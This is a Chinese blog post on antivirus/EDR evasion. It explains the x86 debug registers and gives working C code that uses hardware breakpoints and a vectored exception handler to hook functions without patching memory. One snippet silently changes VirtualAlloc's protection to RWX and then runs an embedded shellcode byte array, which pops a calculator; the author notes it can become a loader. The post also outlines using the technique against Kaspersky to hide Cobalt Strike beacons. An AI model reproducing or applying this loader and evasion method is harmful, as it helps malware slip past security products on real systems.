当前位置: 首页 > news >正文

免杀笔记 ---> 无痕Hook?硬件断点 Syscall!

说到Hook,我们有很多Hook,像Inline-Hook,我们也是用的比较多,但是正如我上一篇Blog说的,他会对内存进行修改,如果EDR或者AV增加一个校验机制,不断检验某一块内存,那么就算你用syscall绕过了Ring3的Hook成功修改了内存也是会被扫描出来的! 

于是就有了今天的无痕Hook ---> 硬件断点

其实也是小编收到了粉丝的建议,于是赶出来了那个代码,但是这个技术是未公开的,所以小编就不放代码,但是会公布部分,以及一些细节(我也不想这个技术那么快没用,望理解😋)

但是效果还是可以展示的(卡巴斯基30minutes未杀,但是也不建议用CS对抗

目录

1.调试寄存器

1.DR0 - DR3

2.DR7

3.DR6

2.无痕Hook

​3.免杀!


1.调试寄存器

如上图,就是Windows的调试寄存器,它位于CPU中,我们讲一些比较重要的寄存器

1.DR0 - DR3

首先就是这三个寄存器了,这也是我们能使用的4个断点寄存器,它用来存储断点的地址

2.DR7

这个就是一个比较重要的寄存器了,我们从右往左去看

首先就是前八位,包含了L0 - L3 以及 G0 - G3,其中L是局部开关,G是全局开关,分别对应DR0 - DR3

然后就是R/W 和 LEN ,分别对应着读写域和 长度域

其中读写域(R/W)有四种状态 :

00 (硬件执行断点)

01  (硬件写入断点)

10  (IO中断)

11  (硬件访问断点)

其中长度域的状态

00 ---- 1字节

01 ----- 2字节

10 ----- 8字节

11 ----- 4字节

3.DR6

此寄存器可以用于描述硬件断点的情况,当我们在DR0下断点的时候,对应的B0就会变成1,DR1-3也是如此,那么如果B0-3都不为1的话,那么说明就是TF位为0的单步异常

2.无痕Hook

我们这里还是拿MessageBoxA来举例(好像每次受伤的都是它hhhh)

#include<Windows.h>
#include<stdio.j>SIZE_T MessageBoxAddr = NULL;LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == MessageBoxAddr){const char* title		= "硬件断点Hook";const char* context		= "已经被Hook";pExcepInfo->ContextRecord->R8	= (unsigned long long)title;pExcepInfo->ContextRecord->Rdx	= (unsigned long long)context;// 清除硬件断点pExcepInfo->ContextRecord->Dr0 = 0;pExcepInfo->ContextRecord->Dr7 = 0x0;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}void HardWareBreakPoint(HANDLE hThread)
{CONTEXT ctx;ctx.ContextFlags = CONTEXT_ALL;GetThreadContext(hThread, &ctx);ctx.Dr0 = MessageBoxAddr;ctx.Dr7 = 0x00000001;SetThreadContext(hThread, &ctx);
}
int main()
{
MessageBoxAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("user32.dll"), "MessageBoxA");
AddVectoredExceptionHandler(1, &FirstVectExcepHandler);//没有hook
MessageBoxA(NULL, "没有Hook", "不存在Hook",MB_OK);
// 硬件断点Hook
HardWareBreakPoint(GetCurrentThread());
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
//已去除硬件断点的Hook
MessageBoxA(NULL, "没有Hook", "不存在Hook", MB_OK);
}

其实思路就是如下

  • 先注册一个异常,用于断点处的操作(操作堆栈或者寄存器)
  • 然后写一个硬件断点,调试寄存器是你要断的地址
  • 然后当你的程序调用这个函数,或者说call这个地址的时候就会触发硬件断点(具体什么断点看你怎么设置,这里是硬件执行断点)
  • 然后就进入你的Veh函数进行处理

并且我们可以看见被Hook的时候,它的内存是没有任何的改变的,这一点就能很好的对抗CRC32检测内存Patch的规则!!

这里我们也可以用一个计算器的脚本来进行加深理解(此脚本完全可以改成Loader,自行研究)

#include<stdio.h>
#include<Windows.h>//硬件断点Hook VirtualAllocSIZE_T virtualAllocAddr = NULL;
LPVOID testAddr			= NULL;LONG NTAPI FirstVectExcepHandler(PEXCEPTION_POINTERS pExcepInfo)
{if ((SIZE_T)pExcepInfo->ExceptionRecord->ExceptionAddress == virtualAllocAddr){//设置为可读可写可执行pExcepInfo->ContextRecord->R9 = PAGE_EXECUTE_READWRITE;// 清除硬件断点pExcepInfo->ContextRecord->Dr0 = 0;pExcepInfo->ContextRecord->Dr7 = 0x0;return EXCEPTION_CONTINUE_EXECUTION;}return EXCEPTION_CONTINUE_SEARCH;
}void HardWareBreakPoint(HANDLE hThread)
{CONTEXT ctx;ctx.ContextFlags = CONTEXT_ALL;GetThreadContext(hThread, &ctx);ctx.Dr0 = virtualAllocAddr;ctx.Dr7 = 0x00000001;SetThreadContext(hThread, &ctx);
}unsigned char Payload[] = {0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00
};void DummyFunction()
{HardWareBreakPoint(GetCurrentThread());testAddr = VirtualAlloc(NULL, sizeof(Payload), MEM_COMMIT, PAGE_READWRITE);memcpy(testAddr, Payload, sizeof(Payload));printf("%p", testAddr);((void(*)())testAddr)();}int main()
{HANDLE hThread = NULL;//硬件断点无痕Hook VirtualAllocvirtualAllocAddr = (SIZE_T)GetProcAddress(GetModuleHandleA("Kernel32.dll"), "VirtualAlloc");AddVectoredExceptionHandler(1, &FirstVectExcepHandler);hThread = CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)DummyFunction, NULL, NULL, NULL);WaitForSingleObject(hThread, INFINITE);return 0;
}

可以看见我们一开始分配的rw内存也是在硬件断点Hook的情况下变成了RWX

并且计算器也是能成功弹出来的

并且我们的VirtualAlloc也是没有被Hook的(这里的Jmp并不是我们的操作,其他程序也会如此)

我们的程序 

系统自己的程序

3.免杀!

等了这么久,终于来到重头戏了,这里我不会详细讲,只是提个大体思路(聪明的你们应该能自己实现的吧😋😋) 

其实还是WBG大佬的脚本,不过是多次的升华,我们还是盯着VirtualAlloc 和Sleep这两函数

然后就是重点的Veh函数处理(这里的VirtualAlloc必须在获取反射dll和loader的产物那块地址之后进行 "脱钩" ,否则你后面BOF的执行会有问题,不用Bof当我没说。。。)

重点就是这两个啦,正所谓 "救赎之道,就在其中" 也正是我们的无痕断点,使得我们并不需要对内存进行Patch ,配合Syscall ,大家可以放心食用😊😋😋

此JMP并不是我的操作(并无对内存进行Patch)

相关文章:

  • C语言中的栈
  • 华为OD机试 - 对称美学(Python/JS/C/C++ 2024 E卷 100分)
  • 一文把数据架构讲明白
  • HTML5实现好看的唐朝服饰网站模板源码2
  • vue创建
  • 软件设计——随手笔记
  • ARM硬件知识补充
  • 工业制造场景中的设备管理深度解析
  • 新建flask项目,配置入口文件,启动项目
  • 网站建设中,常用的后台技术有哪些,他们分别擅长做什么网站平台
  • JAVA毕业设计185—基于Java+Springboot+vue3+小程序的校园网上商店小程序系统(源代码+数据库)
  • python装饰器用法
  • Nacos动态配置实战
  • 【GreenHills】GHS的Run-Time检查功能
  • 深度学习反向传播-过程举例
  • eclipse(luna)创建web工程
  • mongodb--安装和初步使用教程
  • SegmentFault 2015 Top Rank
  • vue2.0开发聊天程序(四) 完整体验一次Vue开发(下)
  • 不发不行!Netty集成文字图片聊天室外加TCP/IP软硬件通信
  • 关于字符编码你应该知道的事情
  • 排序算法学习笔记
  • 深入体验bash on windows,在windows上搭建原生的linux开发环境,酷!
  • 算法-图和图算法
  • 协程
  • MiKTeX could not find the script engine ‘perl.exe‘ which is required to execute ‘latexmk‘.
  • 阿里云服务器如何修改远程端口?
  • ​第20课 在Android Native开发中加入新的C++类
  • ![CDATA[ ]] 是什么东东
  • #Ubuntu(修改root信息)
  • #我与Java虚拟机的故事#连载11: JVM学习之路
  • $(selector).each()和$.each()的区别
  • (7)svelte 教程: Props(属性)
  • (不用互三)AI绘画工具应该如何选择
  • (六)软件测试分工
  • (一)、软硬件全开源智能手表,与手机互联,标配多表盘,功能丰富(ZSWatch-Zephyr)
  • (已解决)vue+element-ui实现个人中心,仿照原神
  • (转) Android中ViewStub组件使用
  • (转)shell调试方法
  • (轉)JSON.stringify 语法实例讲解
  • **PyTorch月学习计划 - 第一周;第6-7天: 自动梯度(Autograd)**
  • .MSSQLSERVER 导入导出 命令集--堪称经典,值得借鉴!
  • .NET Core 和 .NET Framework 中的 MEF2
  • .net MySql
  • .net 程序 换成 java,NET程序员如何转行为J2EE之java基础上(9)
  • .NET 跨平台图形库 SkiaSharp 基础应用
  • .NET/C# 将一个命令行参数字符串转换为命令行参数数组 args
  • .NET8 动态添加定时任务(CRON Expression, Whatever)
  • .net专家(高海东的专栏)
  • @cacheable 是否缓存成功_Spring Cache缓存注解
  • @PreAuthorize注解
  • @RestController注解的使用
  • [ C++ ] template 模板进阶 (特化,分离编译)
  • [ Linux Audio 篇 ] 音频开发入门基础知识
  • [1]从概念到实践:电商智能助手在AI Agent技术驱动下的落地实战案例深度剖析(AI Agent技术打造个性化、智能化的用户助手)